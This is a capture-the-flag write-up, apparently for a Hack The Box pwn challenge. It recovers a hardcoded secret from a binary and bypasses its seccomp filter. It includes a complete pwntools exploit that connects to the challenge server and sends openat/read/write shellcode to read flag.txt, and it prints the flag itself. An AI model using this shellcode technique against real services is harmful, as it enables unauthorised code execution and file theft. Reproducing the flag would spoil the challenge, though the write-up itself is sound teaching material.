When we execute the program, it asks for a secret code.
If we open the binary in Ghidra, we can see the secret code.
pumpk1ngRulez
If the secret code matches pumpk1ngRulez
, it executes the function king
.
In the function king
, the program takes 0x95
bytes of user input, and writes it to the stack.
On line # 53
, it executes the input stored on the stack as a function. So technically, we can write some shell code there and it would just execute.
However, if you try it with any random shell code, it would fail.
The problem is in the setup
function which executes at the very beginning of the main
function.
The program is using seccomp
(secure computing mode), which is a Linux Kernel feature to prevent random syscalls.
seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a "secure" state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. Should it attempt any other system calls, the kernel will either just log the event or terminate the process with SIGKILL or SIGSYS. - Wikipedia
However, we see in the setup
function that the program uses seccomp_rule_add
to explicitly allow some syscalls, where the third parameter is the syscall number to identify the syscall.
By using this table, we can find the allowed syscalls.
So the allowed syscalls are:
- openat
- read
- exit
- write
- rt_sigreturn
These syscalls should be enough to read the flag.
We can use openat
to open the flag file, read
to read the value, and write
to write the value to standard output.
We can use the following pwntools
script to generate and send the shellcode.
from pwn import *
# connect to the remote host
connection = remote("159.65.49.148", 31569)
context.update(arch="amd64", log_level="debug")
# wait until we receive the prompt
connection.recvuntil(b": ")
# send secret
connection.sendline(b"pumpk1ngRulez")
# wait until we receive the prompt
connection.recvuntil(b">> ")
# creating shellcode
'''
openat(int fd, const char *path, int flags);
fd = AT_FDCWD // which means currect directory and has an integer value of -100
flags = O_RDONLY // flags can be multiple flags which are OR'd together. We only need O_RDONLY i.e. 0.
'''
shellcode = shellcraft.linux.openat(-100, "flag.txt", 0)
'''
read(int fd, void *buf, size_t count);
fd = rax // The openat syscall will return the file descriptor rax
buf = rsp // We want to write to the stack so rsp (stack pointer)
count = 100 // Number of bytes we want to read
'''
shellcode += shellcraft.linux.read("rax", "rsp", 100)
'''
write(int fd, const void *buf, size_t count);
fd = 1 // For STDOUT
buf = rsp // Get the value from the stack
count = 100 // Number of bytes to get from the buffer
'''
shellcode += shellcraft.linux.write(1, "rsp", 100)
# send shellcode
connection.sendline(asm(shellcode))
# drop to interactive shell
connection.interactive()
And we get the flag.
HTB{n4ughty_b01z_d0_n0t_f0ll0w_s3cc0mp_rul3z}